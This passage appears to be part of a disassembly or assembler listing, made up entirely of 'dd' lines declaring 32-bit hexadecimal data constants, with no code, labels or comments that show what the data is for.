		dd 0C00710F2h, 0E9F34AE4h, 0C924BF0h, 2585999Fh, 4898C010h
		dd 0D90CE4F4h, 0D982BDADh, 0D2EE3A51h, 8976DF00h, 36A7A0B0h
		dd 0F8C50424h, 0E4009B11h, 22BB019Ch, 0E9046056h, 0C7B75B74h
		dd 18D640D1h, 3DC4886Ch, 4404C3D0h, 0B9FAC0F3h,	800148E6h
		dd 0D35BE1ADh, 30400475h, 5C97698Eh, 1502C0FEh,	0F129B024h
		dd 578408C3h, 2F468020h, 9E40003Dh, 67093B29h, 5B5AF2CBh
		dd 140FB83Ch, 248616A8h, 1100B022h, 84EE3D26h, 6FD2A7h
		dd 0AA8BB8B2h, 0C8407B74h, 70E1FCB8h, 149605DCh, 0C687A98Ah
		dd 4D9E7200h, 66E6725h,	0D8F2B7ABh, 0A84C59CDh,	0B6F082F4h
		dd 581F6077h, 5E6D0087h, 9ED785A7h, 56189628h, 0E9C38EDh
		dd 4852FE58h, 94C050A3h, 3E685611h, 613F421Ch, 0FF104943h
		dd 818D980Fh, 477801C1h, 0A1A7B56Fh, 34BC7002h,	985AD606h
		dd 0D2F89ED9h, 0FEE830BAh, 2000B842h, 0A321126Bh, 11FEB63h
		dd 0E660885Bh, 41ACDD9Eh, 0E08F18A8h, 0D03EAE2Dh, 5CA8AE98h
		dd 9F2E9340h, 774CF04Bh, 0F3EA005Ch, 5B263972h,	78262780h
		dd 0EB000CE7h, 9FDE5A3Ah, 0E3E230F1h, 0D5C42681h, 9533A200h
		dd 4DBB4CD8h, 0A1A609E6h, 386419D6h, 0FF487F78h, 0E65A8018h
		dd 636186Bh, 0E24A243Ah, 0D20051C9h, 25AB816Eh,	3FCC69EFh
		dd 158084A1h, 0E74AB497h, 2200FDC9h, 0F505FFBEh, 5F352E10h
		dd 25100364h, 6D92AB31h, 3BDFBC40h, 0C621AC00h,	0FEFA10EAh
		dd 0ED203A0h, 0F47BB903h, 70A4F3F9h, 54A01DA5h,	6E0040ABh
		dd 1224B923h, 5018133Bh, 783CA094h, 48B1F478h, 0FB220C9Ch
		dd 9F031605h, 0ED0091B3h, 57FD5CD4h, 7ED8E5B8h,	40804EC1h
		dd 0E71308F8h, 630968AEh, 10FDBE30h, 0B95EF240h, 8056906Ch
		dd 0A592C016h, 0C58000B9h, 0BCE685FDh, 0DC118D2Ah, 7C8E62h
		dd 68D8225Dh, 0F41652A1h, 78FC5000h, 9703B917h,	44A49072h
		dd 120279F5h, 764E20D3h, 10E4BCh, 90C12C7Eh, 4B2348EFh
		dd 0EEC93E1Ch, 0DD794F40h, 67821B6h, 0A8E516DAh, 0AA0379B2h
		dd 386EF85Dh, 15F5F8D7h, 0F28E2CC9h, 88C01BE4h,	0ED829CBh
		dd 0E5256667h, 7DE0A005h, 7E4710D9h, 59FA00A9h,	4985F96Dh
		dd 8D00B1B7h, 5A5B232Ch, 99D6F361h, 0D2B800D4h,	0A8C1AD63h
		dd 0DC60724Fh, 0B8E5EFEBh, 0C6410758h, 0C0CB3527h, 0D3491005h
		dd 32E77100h, 0BFC3F415h, 0C187E3A8h, 80A614BEh, 228089A3h
		dd 317C1D16h, 0DC3025A8h, 34D4FE61h, 1125CE01h,	66E63AF3h
		dd 708733F8h, 20BD4A58h, 0FC46427Ch, 99B9B500h,	0A287E367h
		dd 4C295CE6h, 34B89C1h,	0B47DD817h, 9490A9F2h, 9FA79907h
		dd 0B041B9FCh, 0BBD88780h, 7114170Fh, 0A7CC0CFh, 273CBF9Ch
		dd 6DA20F4Bh, 8C7CAE24h
		dd 241F1817h, 43C8E325h, 0C2D17D20h, 0F477D087h, 0CCB88E07h
		dd 59E7912Dh, 0B2C48459h, 90BA9082h, 7A5C260h, 8667351Dh
		dd 30387724h, 0FDD3323Fh, 16086F00h, 0BEBD7EB7h, 17F099FCh
		dd 0E9088F2h, 81E5A818h, 0C0BDE211h, 40C05D19h,	5175A005h
		dd 0D118EB00h, 32B355F3h, 400096B5h, 0CE1A81C5h, 0FE1E0A01h
		dd 0D90382C2h, 6766E4h,	0C937F506h, 0FCF7A6E7h,	0A8098608h
		dd 4B8D80B3h, 0F2C08A79h, 0D7667009h, 0F934921Ch, 1480A584h
		dd 6F030188h, 7A0E400h,	44CEA60h, 0C87A0310h, 0DB8036E9h
		dd 5035310Fh, 0A6807F8Fh, 5CFB85E7h, 6E460215h,	1219C65Dh
		dd 39CC79h, 0B91CC9F5h,	0D847CBh, 38C43208h, 25865517h
		dd 0CCD99900h, 317D80EDh, 0F7E230B5h, 9CFA7899h, 6894A51Fh
		dd 0EC86A84Ah, 5CE41404h, 65266880h, 0BEF61652h, 0AC9C8832h
		dd 0F35C8F1Dh, 7C01D012h, 3AF0EF4Ah, 991A1824h,	11EA81BCh
		dd 2D3FDC4Dh, 0B13213BCh, 0F616E802h, 705AD7h, 5A05B562h
		dd 0EE7D967Eh, 0CE605277h, 2B3E2D71h, 0F7A300EAh, 0D1B59BA6h
		dd 0FE01618Fh, 6BA91F23h, 9187A4DFh, 43B33289h,	40E08F1Ah
		dd 5D041FBEh, 0E0D765A6h, 495FE0A9h, 4C98D830h,	9E072413h
		dd 0E2E5B38Ch, 6DAD02D0h, 173E04DEh, 0C8B60A48h, 0A9014A20h
		dd 0E6718AB3h, 89C4CC1Bh, 8F3E1222h, 8AE0113h, 60A82839h
		dd 2124AF5Ch, 6D404CB8h, 0EE57E82Ch, 76A80084h,	0EADFF24h
		dd 0C1021769h, 6DA7628Bh, 5DD4007h, 0C071DE96h,	0DEB6467Dh
		dd 3A000F16h, 0FD68327Bh, 18447A93h, 0E830E823h, 8E268022h
		dd 2645EC04h, 0E6D60780h, 0DC1C058Bh, 4114052Ch, 0E4D7EB94h
		dd 1599BF8Ch, 29D0D477h, 7100BC04h, 4C866F38h, 0DEF00005h
		dd 50FC7A92h, 1C020B62h, 0AC011FCFh, 4446A3h, 0AFC4D723h
		dd 3C89D13h, 755C7A74h,	0F8C38CBh, 0CB364025h, 44C80B70h
		dd 0EFAE1C00h, 6CEC005Eh, 47DD2DADh, 0D3F5E40Fh, 0F26AA288h
		dd 14F4DAD5h, 0AC0EEB60h, 0B21A1607h, 38E479BFh, 62045C42h
		dd 4788BDB9h, 0C7D00763h, 3E9D5A04h, 578130CDh,	78A634B2h
		dd 2A1BC02Bh, 0F20459B0h, 25BEE5E6h, 0B87EB4B0h, 86802960h
		dd 0BB4D838Ch, 2EC8ED90h, 0F703A7BFh, 8B5276A4h, 8E6022Dh
		dd 20332642h, 0F2C3F0C0h, 0D828D14Fh, 0E9070384h, 0AB5FB048h
		dd 6F9A57A0h, 0F83E062Ch, 0E719B401h, 703CA7EFh, 0B20F3FC3h
		dd 11C9D1E0h, 0D69DC702h, 0F9B00AA8h, 2A1EB0h, 50DE4AA7h
		dd 95003005h, 727708C1h, 17B879D9h, 0E62D3Dh, 0D2812058h
		dd 909E17D7h, 291DB0A4h, 10EC5E22h, 0F9C0F054h,	0F2A41C6Ah
		dd 507BD8ECh, 0A8B9880Fh, 0E0A7AF24h, 74C20599h, 5F86005Ah
		dd 0F4B1B0EEh, 7B00934Ch, 0DD9AE4DBh, 0F67084h,	0EAE04762h
		dd 7DFCB40Fh, 649E54B9h, 33CB611Eh, 8BCC987Ch, 0E429003Eh
		dd 0ABC10539h, 0E800DAD2h, 0F1E98CEBh, 96E7B504h, 456B4008h
		dd 7300919Ch, 54D426BAh, 0E6D2F7h, 0E552EA5Ah, 2E6EBE97h
		dd 100F8C2Fh, 18E2F5D8h, 63C2704h, 340541D9h, 0E30F8B7Dh
		dd 202888h, 9637F0CBh, 3E39C6A6h, 9C00FEFEh, 29EDAC4Bh
		dd 0E892FD0Eh, 3AE40062h, 0E5391009h, 8B0BC4B3h, 4A80FF71h
		dd 59856108h, 3CE453D4h, 86015297h, 40C81ECh, 671E813Bh
		dd 0E1A819EFh, 65A196h,	3B05B4C0h, 933AEE78h, 0C8CBA6ABh
		dd 90E3894Fh, 1A505A68h, 4035E2CAh, 4740C471h, 0E6496FF1h
		dd 0C96E1297h, 0C078030Eh, 0B5A02E5Ah, 0B703F51Fh, 5CA6C06h
		dd 0C6E0F813h, 0DC783B31h, 3DFB8882h, 0A05AE304h, 4D895701h
		dd 0ED1238Eh, 12EA1C20h, 0B20FC505h, 248B03FCh,	0C00B7864h
		dd 67E9D8h, 0D7998822h,	0ED11306Bh, 4D40FC9Ch, 18FED85Dh
		dd 9CA9F7F4h, 33050F37h, 2F36EF2h, 24BF6404h, 0B0FCCB4h
		dd 6257BE32h, 0D11778C4h, 0D82773D7h, 90D2AA90h, 6493973Ah
		dd 6DC6C8A0h, 3E99C13Ah, 0C04BB086h, 3C80EA22h,	0DC12FBB8h
		dd 8578883Eh, 0CB508B07h, 0C9605BAAh, 6292122h,	6CDCA439h
		dd 0D72C29A5h, 5C93872h, 0A8D0AC04h, 2EB63E5h, 0D764A9E4h
		dd 0C464F3FEh, 22DA6C22h, 363D9805h, 0F41D8E70h, 58780077h
		dd 58288C6Dh, 21C2E4D2h, 0A680AB15h, 0BEC46418h, 7C493360h
		dd 2FAD2D03h, 0A884354Ah, 80A0C54Ch, 810113F3h,	785F000h
		dd 985A3C5Dh, 5327443h,	61667F95h, 0D8B8041Fh, 0C8814BCBh
		dd 0FADB320h, 590EAEB5h, 2107C0FCh, 2251A8Fh, 0A4814711h
		dd 0FAAC050h, 80AB24F1h, 1155EC60h, 4A00CD79h, 0EBC707E5h
		dd 1C2FB65Ah, 80CEC61Dh, 0D0F96423h, 0C1091396h, 5822FC39h
		dd 2AD1668h, 5018D0B6h,	5B000FE7h, 45CBAFA6h, 15847931h
		dd 404422D6h, 5DEE081Fh, 0F3097BACh, 0C07D1C7h,	88BD957Dh
		dd 0E7003FCCh, 784DF576h, 85234Eh, 0ED19E55Bh, 25B499BCh
		dd 0EC1DA874h, 0D64F2C5h, 4827BF1Ch, 3CA3400h, 0B2E5C6F1h
		dd 47A03DA9h, 0EB0AA192h, 0C428BE3Bh, 0C5813848h, 0D0F5F488h
		dd 5CD109CDh, 666EDC4h,	57C49042h, 40C50A8h, 417F97CCh
		dd 6FA701C8h, 0D32A9B8Bh, 0F195FC38h, 60BC1400h, 7ABD51C5h
		dd 0E6193832h, 0BADD5B8Fh, 0B424D0B2h, 0A800C755h, 2C4282D1h
		dd 0EB7D02h, 0FA3D6A21h, 0BE795205h, 0C16E8309h, 8248492h
		dd 4CA08A4Fh, 0E549AC07h, 696F7426h, 10803309h,	5A3E888h
		dd 0C3B5B8BEh, 68D402D6h, 94872E92h, 6848394Ch,	760071C4h
		dd 0F90CB41Dh, 0F159EECh, 0ED160AC6h, 0A9B84B47h, 0C31F34D1h
		dd 0D90097EEh, 836CCF93h, 58D63C07h, 3B849E80h,	9D59475Fh
		dd 23B5441Eh, 9B3A93FBh, 0D88E9C4Eh, 2729F88h, 94C92662h
		dd 70406622h, 59743EA0h, 73058970h, 0D5F4D816h,	6470BB09h
		dd 53A500BCh, 5EC151C3h, 1B79E933h, 8360B700h, 111A5409h
		dd 0BCAD2DF3h, 0E3147820h, 0BA027E2Fh, 0DBC32A8Eh, 415A60F3h
		dd 4C0325AEh, 79184890h, 4F401600h, 39FC1F21h, 5AC577B7h
		dd 0ED5C2069h, 0CC0128ECh, 0E86F2BB9h, 906329ACh, 2AD13D74h
		dd 797B0681h, 933B9A97h, 0ACB2A11Eh, 0CE000D3Fh, 0B0C559CAh
		dd 2A7E4A9Ch, 0F890F050h, 18F32B00h, 0AD860CC7h, 0CF24DFBh
		dd 2CC9BC25h, 0B81EF8FEh, 0FB36380Ch, 98DE2005h, 0FCBE2E9Ch
		dd 280649B8h, 0C7F0D975h, 2A15425h, 2BF4D1ECh, 563E3400h
		dd 58B50294h, 0F3430286h, 3F3270A4h, 3007E479h,	890091FDh
		dd 16E4DFE1h, 309C6167h, 0B7350930h, 0C1FB200h,	0A3AEC549h
		dd 4C6CFAE1h, 0B93DD4B4h, 0D200305Ch, 628D1A84h, 5A093BCCh
		dd 0C49923AFh, 0F8BA0050h, 0A5F7AC9Ch, 0B71F076Fh, 48E5CE22h
		dd 1246D8h, 423F62C3h, 345A767Fh, 8FFF4900h, 0F0CA6FEFh
		dd 8EC5895h, 552B322h, 0D53F00DCh, 0B928202Ch, 4C150079h
		dd 3BE2D89Fh, 0EF59D1ACh, 0E56D0300h, 0A06A5B18h, 46FFF4Fh
		dd 0D73F1124h, 0E2408819h, 3B0584B1h, 0D4C0E5C0h, 30DFCC69h
		dd 7FD8D7C1h, 88BE68DEh, 0B8F12A43h, 8AEA1Dh, 0C2D64889h
		dd 0D3D4ACC1h, 9E3B1B00h, 0BE2C327Ch, 1477C27h,	60EFE5F5h
		dd 6C25DC6Fh, 0E63C8360h, 5E1E821h, 8A7E48F6h, 2587CB3Ah
		dd 4B62CC5h, 85E4B8A8h,	1080183Bh, 827DDB03h, 3600D071h
		dd 0FA082F04h, 0D2E5020Fh, 819DE8ACh, 383C807Ah, 79AE80D0h
		dd 1BC394B8h, 0D99C001Ch, 8780030Bh, 2D0E22F9h,	8E054F90h
		dd 2193E478h, 70290E2h,	12799186h, 76CE2440h, 9F96C33Ch
		dd 0FBBBBB8h, 0C9588603h, 38BC984Eh, 2E210182h,	5DC0E11Dh
		dd 0EF02FF6h, 0A1EC02BBh
		dd 9B58D079h, 9A01C4F9h, 916A8A4h, 0B09074h, 2D26F429h
		dd 5B3AEB15h, 0EC82B728h, 1DD6A214h, 0D713021Ch, 41DA33F9h
		dd 0B3C43F80h, 5FCB1F03h, 47E6C78Bh, 0FC90C005h, 97099417h
		dd 0D17C63DCh, 945045Ch, 2D0B9B6h, 3D648936h, 83FC0E3h
		dd 16CB0061h, 7295013h,	38168D26h, 0F4C89651h, 0FA6300C9h
		dd 982521F0h, 0AB1E7A01h, 0BE843F3Bh, 0E883B9CFh, 0BF52891Ah
		dd 93EC71FEh, 0ACB2BBh,	91E5C140h, 0B0F3B51h, 0BE619EFDh
		dd 4481064h, 9ABC054h, 0F8919h,	687F4A2Ch, 0C6A5043Dh
		dd 58C47500h, 6AC2BEAEh, 4FB894FDh, 0EF064400h,	0A300B2E2h
		dd 0B9FBF266h, 3D07DEh,	2DDD378Ah, 3B9EEB92h, 0E501ECBBh
		dd 0BD5C879Ah, 18B37840h, 25E309A9h, 8F00F52Fh,	0C36F3098h
		dd 957E0F00h, 5BFCF8A8h, 0BF793E41h, 66ACED09h,	0B0A9F898h
		dd 7636DA0Fh, 0FEF3E0B2h, 0E88B927h, 3B09F8CEh,	93A86044h
		dd 0C0F32C44h, 7520D6BAh, 0FD3337h, 0F6D7F5F9h,	13B5A2D0h
		dd 0D58B1C12h, 5EC5E482h, 0C2DD00DCh, 0C75CF29Ch, 0DA11A8B9h
		dd 0A606A500h, 726296B9h, 6800E970h, 0BACBD041h, 0F1085EA7h
		dd 5C2980C1h, 69DA5100h, 61B6C3DFh, 1744CE00h, 3543AA3Bh
		dd 0E888005Bh, 4783AE9h, 801231FAh, 5023BD3Fh, 1CE3E8C1h
		dd 87D89152h, 700975C5h, 0C4BBD1C2h, 0E499E717h, 80657408h
		dd 520F2903h, 805C3A55h, 4FB380B0h, 0BC78A28h, 42B2C11Dh
		dd 9AB7B400h, 0B43FA534h, 6F12F1CCh, 0FCF3B1BEh, 0D6579B01h
		dd 2DB7F2A6h, 882500DCh, 0FBD15954h, 0CDF32D5Dh, 0A800C0CCh
		dd 6EC8024Dh, 5AE4B23Dh, 14BDACE3h, 80C88032h, 1EA17F35h
		dd 0FD791CB3h, 0BAE66Ch, 592C4184h, 949525BEh, 0B6AA00B8h
		dd 9162D780h, 5F319DE1h, 0EAA480DBh, 0BCE5D0h, 34D9CF3Bh
		dd 9F6ABB78h, 1095DAF0h, 71C9478h, 0D949FC7Dh, 0D034639Ch
		dd 26E8E5D0h, 0C6E4A82Dh, 0F2BB131Ch, 5CE3D6h, 6EEB79B6h
		dd 276B5607h, 34E818D7h, 244C16E6h, 31AD0084h, 0CC783B30h
		dd 8B13CDDh, 246004A7h,	0E701A4F6h, 9A3246Eh, 384819A8h
		dd 14E401CCh, 96C98252h, 3BF84880h, 1B427A12h, 92CDF701h
		dd 4F700DB3h, 0F7C201BCh, 0D4F273EDh, 10A9A7C6h, 0F4B37830h
		dd 0E6D2007Eh, 0FFA98F69h, 94023319h, 35527725h, 96270010h
		dd 2435BF3Dh, 84B8D1F4h, 83D55687h, 15B11123h, 80642C20h
		dd 0EB497A05h, 6250049Dh, 0C00AA35Bh, 202B874Ch, 4E41270h
		dd 0A8083B24h, 0CC2CBB02h, 8E44E1E6h, 0F690FD10h, 1244363Ch
		dd 18C80F3Ah, 0A3CB001Eh, 2849BBD2h, 0ACA3D5A1h, 6CE013DAh
		dd 0F0906F27h, 0C731DC0Fh, 4BFF2062h, 5E84A7F8h, 12A420CAh
		dd 313DE51Eh, 1560010Bh, 9DDCBB91h, 0DA91EFD3h,	2C78C0EDh
		dd 0A5A80C80h, 0B600E6F8h, 2A79FDBEh, 0E6FDF1Eh, 0D0AE32B7h
		dd 6490B809h, 0BDB0C58Eh, 0D3C4700h, 695EA4FFh,	0A6910553h
		dd 0B73381F5h, 26D23DC4h, 60007983h, 0FDC17163h, 1809482h
		dd 0D7EF7696h, 5C226AE4h, 3E245281h, 0D900DD39h, 5D138C59h
		dd 6B60800Eh, 2A25838h,	59A2426h, 890C00ADh, 0C4D2995Ah
		dd 402520C0h, 0FC0FC76Bh, 17A31786h, 180C04E6h,	0ECAC4056h
		dd 386F67F4h, 5B05FAA9h, 0CC49DF80h, 8509B1F8h,	884F9Dh
		dd 0BE31F257h, 0C83B4E2Eh, 6F00E650h, 3419CB8h,	0F24BC9F3h
		dd 75920EEFh, 6E00563Fh, 6F19530Eh, 0E50D1700h,	0E9021A05h
		dd 361E1DA8h, 0D0F1C0F3h, 6F487566h, 0F22C8C00h, 1DAB53DDh
		dd 0A8F300FEh, 501F028Ah, 0B560095Dh, 0CEB2F811h, 0A021FCB1h
		dd 1B3E4EAh, 457682C3h,	0C89711EFh, 8830C24Ch, 0D1E93018h
		dd 59AD0033h, 246A96ACh, 6507374Ah, 31807DFBh, 3AD364D0h
		dd 506078Fh, 20A77530h,	4453F8EBh, 0B15A1301h, 2152D6C1h
		dd 0BA44A3FEh, 5E70B839h, 35C0044h, 0AEA4E7EBh,	0B705FBC9h
		dd 0B07A9B3Bh, 899186EAh, 151F187Dh, 0AA400ACAh, 851AE00Fh
		dd 0EE4B3Eh, 156A6D92h,	8F54E2FAh, 0D8F3CD94h, 0A70C1247h
		dd 192030DBh, 0ED0D01CEh, 54048890h, 7A8FC806h,	1E0CD4Ch
		dd 0E408A949h, 7987079Eh, 9D681E69h, 6C6ED4B4h,	0BD2B1D00h
		dd 7D4B3497h, 0E749002Eh, 57EDDD68h, 39C0D489h,	0E5F288FEh
		dd 51D6007Ch, 10F2C19h,	571422C8h, 84E6A8h, 0D1CE5A62h
		dd 28C59CAFh, 0ED8EA3h,	0D5805FECh, 5003AA76h, 2F8CD73h
		dd 703059CAh, 38B87100h, 1549289h, 8208166Bh, 91D51E8Ah
		dd 280278F1h, 10C8AA94h, 43042C60h, 4F70E200h, 0FEB722B4h
		dd 0C0D30002h, 1C61441Dh, 0C8289E20h, 0CE016488h, 0B6BA8D45h
		dd 570AE89h, 0C36A00B9h, 0E081D367h, 0D48CAC0h,	98C0834h
		dd 3C9A4EAh, 6A557B4Eh,	375892F0h, 7303E60Dh, 0BD859D1h
		dd 30A0DE7Fh, 2752F8C0h, 0BCA18CA8h, 1B008EE2h,	0A51CC946h
		dd 301DE4B8h, 1F61FD82h, 0C126613Ah, 8103E38Eh,	0D290CBCh
		dd 358EA48h, 0D80FD159h, 0CC004449h, 96322E90h,	0C028B8h
		dd 0B10E862h, 0F34071B4h, 905FB715h, 12F90098h,	0A6953B6h
		dd 0A071C0C2h, 7A18BBCBh, 4FA6E00h, 0E1829DABh,	0C8263828h
		dd 0D73909D8h, 0CC9B0600h, 0C19A73F7h, 21879F2h, 16910111h
		dd 25E81F70h, 0F9A3004Ah, 7431D86Fh, 5A0979C0h,	767B9119h
		dd 0A38310Bh, 0F5EF41D0h, 958980FFh, 0C157E2A7h, 0B7FA1h
		dd 5681BA97h, 0F2EB14A3h, 0DC9E52h, 52C6A7Bh, 0EF50Bh
		dd 4A931490h, 50EAE84Bh, 0A9B1100h, 1DC9B0C3h, 1FE54429h
		dd 0FBA45300h, 0AB21BFA7h, 11D47ED3h, 0DD880Bh,	0BCCFA420h
		dd 0FCFDA2h, 62454766h,	95A4BB7h, 3949B960h, 965764h, 3DD2772h
		dd 3FA58998h, 0F4B57403h, 0A2D41122h, 0D38CA07Dh, 0EC0F2334h
		dd 73302AD9h, 0D4FC88h,	32F0552Bh, 33AF664h, 89B97F37h
		dd 0F0291066h, 531C0059h, 63A0867Bh, 4305080Ah,	89BD85ACh
		dd 74F71800h, 0A9F059h,	1DD7822Eh, 9983F10h, 0F4F0A3Ah
		dd 26CA1193h, 795979E2h, 4EEAB6h, 0F25C663Dh, 0B785626Eh
		dd 0B0D348h, 71617A5Eh,	0FA132608h, 0AA5324CFh,	1A068060h
		dd 0B14043D2h, 545D8900h, 0C016F971h, 9830F102h, 0F5E5E4Ch
		dd 1080ABBCh, 63BFF211h, 1D6A0300h, 9CE7ACBh, 17BA00D3h
		dd 501CFAF1h, 0B0910AA8h, 552FEE00h, 0FC5FC8h, 3CF9EF6h
		dd 73D48107h, 1BE08D0Eh, 0E1CCC1C1h, 0AC225318h, 5C87D33Ah
		dd 404B6634h, 4C5A20ECh, 0AB10A090h, 0FB18BBBDh, 0C973B0E1h
		dd 9BF8661Ch, 5880F84h,	1D176CC8h, 80D0F25Dh, 37761AF0h
		dd 0DA00A6F1h, 2B9FBF3Fh, 2AB60DA8h, 2A48E3Bh, 2F5830D4h
		dd 0D8A00657h, 0E1E283EEh, 0BD732700h, 99FD1B19h, 0D78102FBh
		dd 58BE75Bh, 680379C0h,	9A79AC67h, 0CEC7C8C0h, 21DA000Bh
		dd 6618D206h, 0D3008746h, 406549A5h, 26A6C001h,	64346B03h
		dd 9C8220F3h, 0A7D43BB8h, 20F42AFEh, 0FC092A8Ch, 0C8EC01ACh
		dd 35F6547h, 5022F5h, 11E4873Ah, 455EB760h, 0D848838Dh
		dd 887D5929h, 300307CDh, 0E079A970h, 61C0AE53h,	13EF1165h
		dd 0DF50096h, 0DE307033h, 0B900FB0Bh, 0D8CCF2A0h, 1D549750h
		dd 622798h, 0F12C0AA4h,	372C1066h, 78C02C5Ah, 0E76782h
		dd 0BCFCAEDFh, 0EC550534h, 0C06009E6h, 3F6BF5C9h, 0F68E0026h
		dd 1F42B49Dh, 3A0243D3h, 6039AAC3h, 0D69440CFh,	28D0E89Ah
		dd 24D4E3D9h, 7080C49h,	40BF21B1h, 0C67B5480h, 0CF0D24Ch
		dd 890F3403h, 48B930h, 6BDDE48Eh, 0F500642Eh, 0B3B890C9h
		dd 1DB1B6Eh
		dd 5AE9191Eh, 0D2EA0CBAh, 62B56440h, 9F28EE2Eh,	691E111Eh
		dd 0F889DA00h, 24AD838h, 64B030BDh, 2C6080B4h, 372903A4h
		dd 0E509E8D7h, 0A5D08772h, 48ABAACEh, 0B51F1B11h, 0C07FDEFh
		dd 65C0966Ah, 3FD58017h, 0CC03FA82h, 2CB7EC5Bh,	0EA310777h
		dd 3021F9E8h, 0EB9E2691h, 83B7F113h, 88014424h,	0F38C0E78h
		dd 0B0545FC0h, 1049E718h, 0C8A2C3F8h, 0ACA0AD90h, 0BDA7E009h
		dd 3C341071h, 25C32C7Fh, 831403BCh, 0AA88EBFh, 0A100EE34h
		dd 467195A5h, 822B9Ah, 1C50EBD4h, 6DB57F3Ah, 9168D963h
		dd 22C0CE1Dh, 0B3A7455h, 0A8B3B8DCh, 0B21F98F6h, 20EB09h
		dd 57E93819h, 0B0C15244h, 487DB937h, 0D988850h,	2CB9A1h
		dd 0BAA82063h, 9A24DA79h, 8104296Ch, 4B847898h,	380790C4h
		dd 614C2A1Dh, 0F6D418FBh, 0A754117Eh, 3CB6302h,	0C8BEF9AEh
		dd 4CC085D4h, 0BBC0AC32h, 6A4784B6h, 0A46EDA00h, 4BCD6D62h
		dd 5C0A50C7h, 9FCF005Dh, 0BE15A5CEh, 0AD01E8F1h, 3E0770BFh
		dd 0D822FF1Dh, 34F80079h, 52BE094Ch, 0B883E6AFh, 1CB92D63h
		dd 0C0D49636h, 8BC3F3FEh, 0D60460E3h, 0D5552E13h, 287B4C0h
		dd 39B2630Bh, 5900010Ah, 3F1F4EF8h, 3F32DB9h, 0ED19997Ah
		dd 210FE80Ah, 718D58h, 0C3BB86CCh, 15997E98h, 44C139C2h
		dd 0C61A2007h, 587AB078h, 0B7000176h, 19230D94h, 124A9DCEh
		dd 80893FEh, 2881D7ACh,	3AB7B66Dh, 8F2E3436h, 63FA60FCh
		dd 30C0E19h, 39D0A116h,	0C5B400F1h, 9F512DBEh, 0E8005610h
		dd 68EBF5A7h, 3BFA7150h, 0DC961EC3h, 8D542052h,	0CA04CC96h
		dd 6FE851C7h, 45A10800h, 0D54C7DF8h, 2EDC2268h,	80641C30h
		dd 7CD1B4D0h, 0F9000D7Ah, 2138ED83h, 3E6745h, 27E389F8h
		dd 87DFB71h, 0EB180403h, 1203887Ah, 0F07749h, 0BE2AFA09h
		dd 650151DAh, 0CC9ACF7Eh, 882F260h, 0D05024C1h,	0EAE148C0h
		dd 432668F6h, 90647008h, 0C380E5C5h, 0E5C12Ah, 0FFBFF5DBh
		dd 5FA98467h, 0D39A0503h, 88F93239h, 4882B6C3h,	0E898F875h
		dd 0C00603Eh, 84EE2F1Fh, 0B00D4B11h, 123493BFh,	7C6007C1h
		dd 0CDD49140h, 0D150E077h, 2807489Bh, 289CFBCFh, 0C868016Ch
		dd 4166EC07h, 19C2EF1Eh, 11F8CB2Eh, 60220AC4h, 2BF94B00h
		dd 0E3F295E5h, 2A5AFF00h, 0EFA60366h, 9B541FA2h, 0A8CCAC99h
		dd 807616DCh, 50B0040Bh, 9FE24073h, 90D2F944h, 0A74100BCh
		dd 0F89983A0h, 5F3CEC73h, 5D818C8Ch, 0FE05852h,	88E3D31Dh
		dd 0A5C82016h, 95009380h, 511E6702h, 0E20F3FB7h, 288464A7h
		dd 0E519407Bh, 167F7D97h, 0F80F5681h, 6A61469h,	3DD701A4h
		dd 0FB1AE96Ah, 2428D449h, 0B30BA580h, 8D00B991h, 77B8B104h
		dd 90D8F09Ch, 307829C4h, 55E781D0h, 0D037509Eh,	0F425E29Ah
		dd 14E090BFh, 0BEE30003h, 7657C850h, 0F6077EA0h, 527BB261h
		dd 0F98C28Fh, 386431h, 0A738DCF7h, 0D24A3C0Ah, 90CB5912h
		dd 0CEE1D802h, 0B4EC41CFh, 8FFD3810h, 366FDB01h, 4452097Bh
		dd 0C7D1DD21h, 0E057A9D9h, 7E503F20h, 6FBB003Dh, 0F207AAB4h
		dd 6A347A08h, 70C0D0E7h, 32B7F5B3h, 52894350h, 0E70304C4h
		dd 8F91906Ah, 0EA51982Bh, 0A9B1DCBh, 625772h, 0D253A7C0h
		dd 7A00A437h, 5EDA80AFh, 0C0FE096Dh, 2C96E6A9h,	4F0C7391h
		dd 19C30AADh, 646A001Eh, 12BAB1D6h, 0D70027D2h,	5A9FF64Ah
		dd 7AD176Dh, 0FA6CF548h, 18A41124h, 8E3030AEh, 0A875E12h
		dd 6720B0D0h, 0D01F0066h, 0BDC5869Bh, 0CC79C4A9h, 1D6A530Ch
		dd 7F6CB0F9h, 0A7191B27h, 0E1F339F0h, 83F282F9h, 86241F11h
		dd 0CA84E532h, 844A8020h, 0AFF901BBh, 56BFC434h, 2B8706Ch
		dd 1614718Ah, 0BAE0072h, 4679BE12h, 1AC9900h, 2A97111Dh
		dd 0F3411DE2h, 0E79B0044h, 522BC250h, 644FBA04h, 4E453F1h
		dd 0F6E0F813h, 3A42000Dh, 7C7F3909h, 0EB48E73Ch, 208486Eh
		dd 9EF17847h, 4E584806h, 4B340096h, 1DF563CBh, 7B001E7Dh
		dd 0C2BBF6E5h, 18AB4ABEh, 310189F7h, 7C004F4Dh,	4CC49A7Dh
		dd 2C95127h, 0AC623F22h, 646211ECh, 0C4052859h,	8200596Fh
		dd 0A4F33A6Ah, 7E67D39h, 0D24528FCh, 1643400Ah,	0EB001211h
		dd 84C8E03Ah, 45FED03h,	0D6AE62B8h, 0E2B68280h,	0E5009C44h
		dd 0A0D7386Ch, 58889817h, 2800701Ch, 0B1AB8D61h, 0E0A01608h
		dd 34FDF1D8h, 430671B0h, 0DE898AEDh, 0AF2500C9h, 7FC64B6Fh
		dd 4E023430h, 0D4068F27h, 89D87111h, 988F051Fh,	0EBCE1E11h
		dd 0F8217E12h, 99807231h, 0B6DF4A0Eh, 0F0BE622h, 1009EAC6h
		dd 3DA25B4h, 0E076E538h, 0A0776D5Dh, 270011FCh,	1E69790Bh
		dd 7E3813Bh, 0B6EE8715h, 1018A95Fh, 4C0183EAh, 8BEB2E5Bh
		dd 9F2096FAh, 0ABC700BBh, 1C7FD96Ah, 0A6021189h, 0E8EECDB5h
		dd 9E2EE029h, 811900D1h, 8537E9BEh, 70262860h, 803FF808h
		dd 0A88DA2Fh, 301868DFh, 0F0F006D0h, 0AB88B709h, 0D8980056h
		dd 0CBF2DBC4h, 0E9F418F5h, 1C896509h, 0AE881082h, 0D00F0285h
		dd 6378A438h, 108EDCE1h, 27B0CCD4h, 9C10E1C3h, 2A070596h
		dd 7E9933F2h, 34497B50h, 1EBA00F5h, 3AFB0393h, 9F050BD1h
		dd 0F8EB648Ah, 0AF504C87h, 73F9DBh, 54A13169h, 16FCE2A4h
